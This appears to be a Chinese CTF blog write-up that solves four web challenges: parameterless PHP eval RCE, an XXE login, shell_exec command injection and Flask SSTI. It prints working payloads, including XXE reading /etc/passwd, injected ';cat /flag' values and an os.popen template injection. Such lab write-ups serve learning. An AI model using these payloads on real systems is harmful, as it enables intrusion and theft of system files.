文章目录
- 前言
- 题目
- [GXYCTF 2019]禁止套娃
- 方法一
- 方法二
- [NCTF 2019]Fake XML cookbook
- [NSSRound#7 Team]ec_RCE
- [NCTF 2018]Flask PLUS
前言
今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。
题目
[GXYCTF 2019]禁止套娃
打开题目,直接扫一下目录
发现是存在git泄露
—参考文章
然后使用专门的工具Githack(下载地址)
打开终端,运行python(运行后要访问,/.git/
才能有结果)
源代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
第三个if语句是禁用我们要rce的一些函数,比如phpinfo()
等
所以rce的关键是无参
方法一
使用session_start()+session_id()读取文件(php<7)
payload
?exp=show_source(session_id(session_start()));
Cookie: PHPSESSID=flag.php
得到flag
方法二
php函数直接读取文件
先读取数组,查看flag在第几个
payload
?exp=print_r(scandir(current(localeconv())));
发现是第三个,那么我们可以先倒序再读取第二个
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
即可得到flag
[NCTF 2019]Fake XML cookbook
打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录
联想到XML中存在的XXE漏洞
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>1</password></user>
修改下命令,直接得到flag
[NSSRound#7 Team]ec_RCE
源代码
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload
action=||&data='cat /flag'
或者
action=;cat /flag&data=
得到flag
[NCTF 2018]Flask PLUS
打开题目,在url输入{{7*7}}
发现存在ssti漏洞
payload
{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}
然后得到flag